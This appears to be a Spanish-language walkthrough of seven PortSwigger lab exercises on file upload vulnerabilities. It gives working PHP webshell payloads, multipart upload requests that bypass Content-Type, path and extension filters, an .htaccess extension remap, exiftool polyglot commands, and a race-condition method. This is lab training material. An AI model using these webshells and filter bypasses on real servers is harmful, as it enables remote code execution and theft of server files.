PortSwigger File Upload RCE Extension Bypass Race Condition Polyglot

File Upload Vulnerabilities

7 laboratorios: desde webshells básicas hasta race conditions y polyglot files.

Lab 1 — Remote code execution via web shell upload

Sin restricciones de tipo de archivo. Subida directa de webshell PHP.

PHP webshell — RCE
<?php echo system($_GET['cmd']); ?>
PHP webshell — File read
<?php echo file_get_contents('/path/to/target/file'); ?>

Lab 2 — Web shell upload via Content-Type restriction bypass

El servidor valida el Content-Type del multipart. Cambiar a image/jpeg para bypassear.

POST /my-account/avatar — RCE payload
------WebKitFormBoundary1zH0L1Kdn5yMtB7c
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg

<?php echo system($_GET['cmd']); ?>
------WebKitFormBoundary1zH0L1Kdn5yMtB7c
Content-Type bypass
POST /my-account/avatar — File read payload
------WebKitFormBoundaryvOOvSKhUgAvMsWE9
Content-Disposition: form-data; name="avatar"; filename="image.php"
Content-Type: image/jpeg

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryvOOvSKhUgAvMsWE9

Lab 3 — Web shell upload via path traversal

El directorio de uploads no ejecuta PHP. Usar ..%2f en el filename para subir al directorio padre.

Path traversal upload
Filename con path traversal URL-encoded
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"
Content-Type: application/octet-stream

<?php echo system($_GET['cmd']); ?>

Lab 4 — Web shell upload via extension blacklist bypass (.htaccess)

Subir un .htaccess que registra la extensión .shell como PHP, luego subir el payload con esa extensión.

Paso 1 — Subir .htaccess
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .shell
htaccess upload

Subir ahora el archivo .shell:

shell extension upload shell execution result

Lab 5 — Web shell upload via obfuscated file extension

Obfuscated extension
Null byte en filename
Content-Disposition: form-data; name="avatar"; filename="exploit.php%00.jpg"
Content-Type: image/jpeg

<?php echo file_get_contents('/home/carlos/secret'); ?>
Null byte bypass result
Otras técnicas de ofuscación de extensión
  • Múltiples extensiones: exploit.php.jpg
  • Caracteres finales: exploit.php. o exploit.php
  • URL encoding del punto: exploit%2Ephp
  • Punto y coma / null byte: exploit.asp;.jpg / exploit.asp%00.jpg
  • Caracteres Unicode multibyte que normalizan a .
  • Eliminación no recursiva: exploit.p.phphpexploit.p.php
  • Case variation si la blacklist es case-sensitive: exploit.pHp

Lab 6 — Remote code execution via polyglot web shell upload

El servidor verifica que el archivo sea una imagen válida leyendo los magic bytes. Usar exiftool para incrustar el payload PHP como metadato de una imagen real.

exiftool — Comment field
exiftool -Comment="<?php echo 'start '.file_get_contents('/home/carlos/secret').' end'; ?>" hackercat.jpg -o exploit.php
exiftool — DocumentName field
exiftool -documentname='<?php passthru($_GET["cmd"]); _halt_compiler(); ?>' flower.jpg
Polyglot exiftool Polyglot result

Lab 7 — Web shell upload via race condition

El servidor sube el archivo, lo valida y lo elimina si no pasa. La ventana de tiempo entre la subida y la eliminación permite ejecutarlo.

Race condition setup Race condition request grouping

Agrupar las requests en Burp Suite Repeater para enviarlas en paralelo:

Parallel requests

Enviar en forma paralela (Send group in parallel):

Send in parallel

Esperar la respuesta antes de que el servidor elimine el archivo:

Race condition success